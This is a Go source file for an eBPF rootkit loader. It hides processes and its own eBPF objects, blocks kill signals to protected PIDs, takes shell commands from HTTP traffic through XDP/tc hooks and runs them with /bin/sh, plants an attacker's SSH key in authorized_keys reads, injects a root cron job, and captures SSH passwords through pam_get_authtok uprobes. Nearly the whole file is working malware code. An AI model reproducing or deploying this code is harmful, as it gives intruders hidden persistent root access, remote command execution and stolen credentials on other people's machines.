package main

import (
	"bufio"
	"bytes"
	"encoding/binary"
	"errors"
	"flag"
	"fmt"
	"github.com/cilium/ebpf"
	"github.com/cilium/ebpf/link"
	"github.com/cilium/ebpf/ringbuf"
	"github.com/cilium/ebpf/rlimit"
	"github.com/florianl/go-tc"
	"github.com/florianl/go-tc/core"
	"golang.org/x/sys/unix"
	"log"
	"net"
	"net/url"
	"os"
	"os/exec"
	"os/signal"
	"sort"
	"strconv"
	"strings"
	"syscall"
)

var pid = flag.String("pid", "-1", "pid to hide")
var directExec = flag.String("dexec", "-1", "directly exec or not")
var ifName = flag.String("ifname", "", "interface xdp and tc will attach")
var hideEbpf = flag.String("hideebpf", "1", "hide or not hide the ebpf prog ,map and link")
var selfPublicKeyFile = flag.String("selfpubkey", "", "the ssh public key file path we generate,such as ./id_rsa.pub")
var targetPublicKeyFile = flag.String("targetpubkey", "", "the ssh public key path the user we want to login,such as /root/.ssh/authorized_keys")
var catchSsh = flag.String("catchssh", "-1", "catch the ssh username and password or not")
var pamPath = flag.String("pampath", "", "the absolute path of libpam.so.0,maybe need 'find / -name libpam.so.0'")
var cronCmd = flag.String("croncmd", "", "the cmd that cron will execute.If you want to use quotes, use single quotes")

func receiveRingBuf(objs ebpfObjects, stopper chan os.Signal) {
	rb, err := ringbuf.NewReader(objs.Rb)
	handleError("ringbuf.NewReader error", err)
	defer rb.Close()

	go func() {
		<-stopper

		err := rb.Close()
		handleError("closing ringbuf reader: %s", err)

	}()
	log.Println("Waiting for events..")

	//ebpfHttpCmd,ebpfEvent

	//var httpCmd ebpfHttpCmd
	for {
		record, err := rb.Read()
		if err != nil {
			if errors.Is(err, ringbuf.ErrClosed) {
				log.Println("Received signal, exiting..")
				return
			}
			log.Printf("reading from reader: %s", err)
			continue
		}
		switch record.RawSample[0] {
		case 0:
			var event ebpfEvent
			err = binary.Read(bytes.NewBuffer(record.RawSample), binary.LittleEndian, &event)
			if err != nil {
				handleError("parsing ringbuf event: %s", err)
				continue
			}
			//log.Printf("pid: %d\tcomm: %s\tsuccess:%t\n", event.Pid, unix.ByteSliceToString(event.Comm[:]), event.Success)
		case 1:
			var httpCmd ebpfHttpCmd
			err = binary.Read(bytes.NewBuffer(record.RawSample), binary.LittleEndian, &httpCmd)
			if err != nil {
				handleError("parsing ringbuf event: %s", err)
				continue
			}
			cmd := strings.ReplaceAll(string(httpCmd.Cmd[:]), "\x00", "")
			cmd, err := url.QueryUnescape(cmd)
			handleError("url QueryUnescape error,", err)
			log.Printf("cmd:%s", cmd)
			switch *directExec {
			case "-1":
				//noexec
			case "0":
				//indirectly exec,hook execve
				log.Print("indirectly exec command")
			case "1":
				//directly exec,exec in go.
				//log.Print("directly exec command")
				go execCommand(objs, cmd)
			}

		case 2:
			var sshUserPass ebpfSshUserPass
			err = binary.Read(bytes.NewBuffer(record.RawSample), binary.LittleEndian, &sshUserPass)
			if err != nil {
				handleError("parsing ringbuf event: %s", err)
				continue
			}
			log.Print("=================================================================")
			log.Printf("[+]receive SSH Username:%s", sshUserPass.Username)
			log.Printf("[+]receive SSH Password:%s", sshUserPass.Password)
			log.Print("=================================================================\n")
		}

	}
}

func execCommand(objs ebpfObjects, cmdToExec string) {
	cmd := exec.Command("/bin/sh", "-c", cmdToExec)
	var stdout, stderr bytes.Buffer
	cmd.Stdout = &stdout
	cmd.Stderr = &stderr
	err := cmd.Run()
	if err != nil {
		log.Printf("cmd.Run() failed with %s", err)
	}
	_, errStr := string(stdout.Bytes()), string(stderr.Bytes())
	if errStr != "" {
		log.Printf("err:\n%s", errStr)
	} else {
		var cmdRes [128 * 16 * 4]byte

		copy(cmdRes[:], append(stdout.Bytes(), '\n', '\n', '\n', '\n'))
		log.Printf("out length:%d", len(stdout.Bytes()))
		err = objs.CmdResMap.Put(uint32(0), cmdRes)
		handleError("map cmd res put error,", err)
		//log.Print("cmd map put ok")
		//log.Printf("out:\n%s", string(stdout.Bytes()))
	}
}

func debug() {
	// 打开trace_pipe文件
	file, err := os.Open("/sys/kernel/debug/tracing/trace_pipe")
	handleError("Failed to open trace_pipe: %v", err)

	defer file.Close()

	// 使用bufio.Reader读取文件
	reader := bufio.NewReader(file)

	for {
		line, err := reader.ReadString('\n')
		handleError("Failed to read from trace_pipe: %v", err)

		// 打印从trace_pipe中读取的每一行
		fmt.Print(line)
	}
}

func parsePidFlag(spec *ebpf.CollectionSpec) {

	flag.Parse()
	var pidsString []string = strings.Split(*pid, ",")
	//隐藏自己的Pid
	if pidsString[0] == "-1" {
		pidsString = []string{}
	}

	//当前进程的Pid
	currentPid := os.Getpid()
	log.Print("current pid:", currentPid)
	var pidsInt []int32 = make([]int32, len(pidsString)+1)

	var pid_to_hide [5][10]byte
	var pid_to_hide_len []uint32 = make([]uint32, 5)
	//
	for i := 0; i < len(pidsString); i++ {
		pid, err := strconv.ParseInt(pidsString[i], 10, 32)

		if err != nil {
			log.Fatal("Atoi error", err)
		}
		pidsInt[i] = int32(pid)
	}
	pidsInt[len(pidsString)] = int32(currentPid)

	//排序
	sort.Slice(pidsInt, func(i, j int) bool {
		return pidsInt[i] < pidsInt[j]
	})

	for i := 0; i < len(pidsInt); i++ {
		//+1, because of \x0
		s := strconv.Itoa(int(pidsInt[i]))
		//log.Println("hello")

		pid_to_hide_len[i] = uint32(len(s) + 1)

		for j := 0; j < len(s); j++ {
			pid_to_hide[i][j] = s[j]
		}
	}

	pidAvoidKill := [5]int32{-1, -1, -1, -1, -1}
	for i := 0; i < len(pidsInt); i++ {
		pidAvoidKill[i] = pidsInt[i]
	}
	//log.Println(pidAvoidKill)

	err := spec.RewriteConstants(map[string]interface{}{
		"pidToHideLen": pid_to_hide_len,
		"pidToHide":    pid_to_hide,
		"pidNum":       uint32(len(pidsString)) + 1,
		"pidAvoidKill": pidAvoidKill,
	})
	handleError("RewriteConstants error", err)

}

func handleError(msg string, err error) {
	if err != nil {
		log.Fatal(msg, err)
	}
}

func linkTrafficControl(objs ebpfObjects, ifName string) (*tc.Tc, tc.Object) {

	//ifName = "enp0s5"
	devID, err := net.InterfaceByName(ifName)
	handleError("could not get interface ID: ", err)

	tcnl, err := tc.Open(&tc.Config{})
	handleError("could not open rtnetlink socket: ", err)

	qdisc := tc.Object{
		Msg: tc.Msg{
			Family:  unix.AF_UNSPEC,
			Ifindex: uint32(devID.Index),
			Handle:  core.BuildHandle(0xffff, 0),
			Parent:  tc.HandleIngress,
			Info:    0,
		},
		Attribute: tc.Attribute{
			Kind: "clsact",
		},
	}

	err = tcnl.Qdisc().Add(&qdisc)
	handleError("could not assign clsact to "+ifName+" : ", err)

	// when deleting the qdisc, the applied filter will also be gone
	//defer tcnl.Qdisc().Delete(&qdisc)

	fd := uint32(objs.TcEgress.FD())
	flags := uint32(0x1)

	filter := tc.Object{
		tc.Msg{
			Family:  unix.AF_UNSPEC,
			Ifindex: uint32(devID.Index),
			Handle:  0,
			Parent:  core.BuildHandle(tc.HandleRoot, tc.HandleMinIngress),
			Info:    0x10300,
		},
		tc.Attribute{
			Kind: "bpf",
			BPF: &tc.Bpf{
				FD:    &fd,
				Flags: &flags,
			},
		},
	}
	err = tcnl.Filter().Add(&filter)
	handleError("could not attach filter for eBPF program: ", err)

	/*		err = tcnl.Qdisc().Delete(&qdisc)
			handleError("could not delete qdisc,", err)*/
	return tcnl, qdisc

}
func linkHidePid(objs ebpfObjects) (link.Link, link.Link) {
	//hide pid
	tpGetdents64Enter, err := link.Tracepoint("syscalls", "sys_enter_getdents64", objs.HandleGetdentsEnter, nil)
	handleError("link tp sys_enter_getdents64 error,", err)
	//defer tpEnter.Close()
	tpGetdents64Exit, err := link.Tracepoint("syscalls", "sys_exit_getdents64", objs.HandleGetdentsExit, nil)
	handleError("link tp sys_exit_getdents64 error,", err)
	//defer tpExit.Close()
	//Map Prog
	err = objs.ProgArrayMap.Put(uint32(1), objs.HandleGetdentsExit)
	handleError("put HandleGetdentsEnter error,", err)
	return tpGetdents64Enter, tpGetdents64Exit
}
func linkAvoidKillPid(objs ebpfObjects) (link.Link, link.Link) {

	/*	kpKill, err := link.Kprobe("sys_kill", objs.HandleKillEnter, nil)
		handleError("link kprobe kill error,", err)*/
	kretpKill, err := link.Kretprobe("sys_kill", objs.HandleKillExit, nil)
	handleError("link kretprobe kill error,", err)
	lsmAvoidKill, err := link.AttachLSM(link.LSMOptions{
		Program: objs.AvoidKill,
	})
	handleError("link Lsm task_kill error,", err)
	return kretpKill, lsmAvoidKill
}
func linkHideEbpfProgram(objs ebpfObjects) (link.Link, link.Link) {
	tpEnterBpf, err := link.Tracepoint("syscalls", "sys_enter_bpf", objs.HandleBpfEnter, nil)
	handleError("link tracepoint HandleBpfEnter error,", err)
	kretExitBpf, err := link.Kretprobe("sys_bpf", objs.HandleBpfExit, nil)
	handleError("link Kretprobe HandleBpfEnter error,", err)
	return tpEnterBpf, kretExitBpf
}
func linkXdp(objs ebpfObjects, ifName string) link.Link {
	//XDP
	//ifname := "lo" // Change this to an interface on your machine.
	iface, err := net.InterfaceByName(ifName)
	handleError("Getting interface "+ifName+" error", err)

	xdp, err := link.AttachXDP(link.XDPOptions{
		Program:   objs.XdpHttpParser,
		Interface: iface.Index,
	})
	handleError("attach xdp error,", err)

	return xdp
}
func readPublicKey(publicKeyFile string) [999]byte {
	publicKeyByte, err := os.ReadFile(publicKeyFile)
	handleError("read file "+publicKeyFile+" error,", err)
	var publicKey [999]byte
	copy(publicKey[:], publicKeyByte)
	return publicKey
}
func paddingTargetPubKeyFile(targetPubKeyFile string) {
	targetPublicKeyByte, err := os.ReadFile(targetPubKeyFile)
	if len(targetPublicKeyByte) >= 999 {
		return
	}
	handleError("read file "+targetPubKeyFile+" error,", err)
	// 定义需要填充的空格数量
	spacesToAppend := 999
	// 创建一个新的 slice，长度为原始数据长度加上需要填充的空格数量
	newKeyByte := make([]byte, len(targetPublicKeyByte)+spacesToAppend)
	// 将原始数据复制到新的 slice
	copy(newKeyByte, targetPublicKeyByte)
	// 填充空格
	for i := len(targetPublicKeyByte); i < len(newKeyByte); i++ {
		newKeyByte[i] = ' ' // 使用空格字符填充
	}
	err = os.WriteFile(targetPubKeyFile, newKeyByte, 600)
	handleError("write file "+targetPubKeyFile+" error,", err)
}
func linkSshBackDoorProg(objs ebpfObjects) (link.Link, link.Link, link.Link, link.Link, link.Link) {
	tpOpenatEnter, err := link.Tracepoint("syscalls", "sys_enter_openat", objs.HandleOpenatEnter, nil)
	handleError("tp link HandleOpenatEnter error,", err)
	tpOpenatExit, err := link.Tracepoint("syscalls", "sys_exit_openat", objs.HandleOpenatExit, nil)
	handleError("tp link HandleOpenatExit error,", err)
	tpReadEnter, err := link.Tracepoint("syscalls", "sys_enter_read", objs.HandleReadEnter, nil)
	handleError("tp link HandleReadEnter error,", err)
	tpReadExit, err := link.Tracepoint("syscalls", "sys_exit_read", objs.HandleReadExit, nil)
	handleError("tp link HandleReadExit error,", err)
	tpCloseExit, err := link.Tracepoint("syscalls", "sys_exit_close", objs.HandleCloseExit, nil)
	handleError("tp link HandleCloseExit error,", err)
	return tpOpenatEnter, tpOpenatExit, tpReadEnter, tpReadExit, tpCloseExit
}
func linkPamGetAuthtok(objs ebpfObjects) (link.Link, link.Link) {
	ex, err := link.OpenExecutable(*pamPath)
	handleError("open executable"+*pamPath+" error,", err)
	uAuth, err := ex.Uprobe("pam_get_authtok", objs.HandleAuthtokEnter, nil)
	handleError("uprobe pam_get_authtok error", err)
	uretAuth, err := ex.Uretprobe("pam_get_authtok", objs.HandleAuthtokExit, nil)
	handleError("uretprobe pam_get_authtok error", err)
	return uAuth, uretAuth
}
func linkCronBackdoor(objs ebpfObjects) (link.Link, link.Link) {
	tpNewFstatatEnter, err := link.Tracepoint("syscalls", "sys_enter_newfstatat", objs.HandleNewFstatatEnter, nil)
	handleError("tp link HandleNewFstatatEnter error,", err)
	tpNewFstatatExit, err := link.Tracepoint("syscalls", "sys_exit_newfstatat", objs.HandleNewFstatatExit, nil)
	handleError("tp link HandleNewFstatatEnter error,", err)
	return tpNewFstatatEnter, tpNewFstatatExit
}
func main() {

	// Subscribe to signals for terminating the program.
	stopper := make(chan os.Signal, 1)
	signal.Notify(stopper, os.Interrupt, syscall.SIGTERM)
	// Remove resource limits for kernels <5.11.
	err := rlimit.RemoveMemlock()
	handleError("Removing memlock:", err)

	spec, err := loadEbpf()
	handleError("load ebpf error", err)

	objs := ebpfObjects{}

	//parser flag
	///////////////////////////////////////////////////////////
	flag.Parse()
	parsePidFlag(spec)
	if *selfPublicKeyFile != "" && *targetPublicKeyFile != "" {
		paddingTargetPubKeyFile(*targetPublicKeyFile)
		publicKey := readPublicKey(*selfPublicKeyFile)
		var targetPubKeyPath [50]byte
		copy(targetPubKeyPath[:], []byte(*targetPublicKeyFile))
		err = spec.RewriteConstants(map[string]interface{}{
			"publicKey":        publicKey,
			"targetPubKeyPath": targetPubKeyPath,
		})
		handleError("RewriteConstants publicKey,targetPubKeyPath error", err)
	}
	if *cronCmd != "" {
		cronLine := "* * * * * root /bin/sh -c \"" + *cronCmd + " \"\n# "
		//log.Println(cronLine)
		var cronLineByte [200]byte
		copy(cronLineByte[:], []byte(cronLine))
		//lineLen := len
		err = spec.RewriteConstants(map[string]interface{}{
			"cronLine": cronLineByte,
		})
		handleError("RewriteConstants cronLine error ", err)
	}

	///////////////////////////////////////////////////////////
	err = spec.LoadAndAssign(&objs, nil)
	//This is the only place where a VerifierError may occur.
	if err != nil {
		var ve *ebpf.VerifierError
		if errors.As(err, &ve) {
			log.Fatalf("verify error:\n %+v", ve)
		}
		log.Fatal("LoadAndAssign error,", err)
	}

	defer objs.Close()

	go debug()

	/////////////////////start link prog//////////////////////////////
	//link hide pid
	tpGetdents64Enter, tpGetdents64Exit := linkHidePid(objs)
	defer tpGetdents64Enter.Close()
	defer tpGetdents64Exit.Close()

	//link avoid killing pid
	kretpKill, lsmAvoidKill := linkAvoidKillPid(objs)
	defer kretpKill.Close()
	defer lsmAvoidKill.Close()

	/////
	if *ifName != "" {
		//link Xdp
		xdp := linkXdp(objs, *ifName)
		defer xdp.Close()

		//link tc
		//linkTrafficControl(objs, *ifName)
		tcnl, qdisc := linkTrafficControl(objs, *ifName)
		//is it true to clean?
		defer func() {

			err = tcnl.Qdisc().Delete(&qdisc)
			handleError("could not delete qdisc", err)
			err = tcnl.Close()
			handleError("could not close rtnetlink socket: ", err)
		}()

	}
	if *hideEbpf == "1" {
		//hide ebpf program
		tpEnterBpf, kpExitBpf := linkHideEbpfProgram(objs)
		defer tpEnterBpf.Close()
		defer kpExitBpf.Close()
	}
	if (*selfPublicKeyFile != "" && *targetPublicKeyFile != "") || *cronCmd != "" {
		tpOpenatEnter, tpOpenatExit, tpReadEnter, tpReadExit, tpCloseExit := linkSshBackDoorProg(objs)
		defer tpOpenatEnter.Close()
		defer tpOpenatExit.Close()
		defer tpReadEnter.Close()
		defer tpReadExit.Close()
		defer tpCloseExit.Close()
	}
	if *catchSsh == "1" && *pamPath != "" {
		uAuth, uretAuth := linkPamGetAuthtok(objs)
		defer uAuth.Close()
		defer uretAuth.Close()
	}
	if *cronCmd != "" {
		tpNewFstatatEnter, tpNewFstatatExit := linkCronBackdoor(objs)
		defer tpNewFstatatEnter.Close()
		defer tpNewFstatatExit.Close()

	}

	/////////////////////finish link prog//////////////////////////////
	receiveRingBuf(objs, stopper)

}
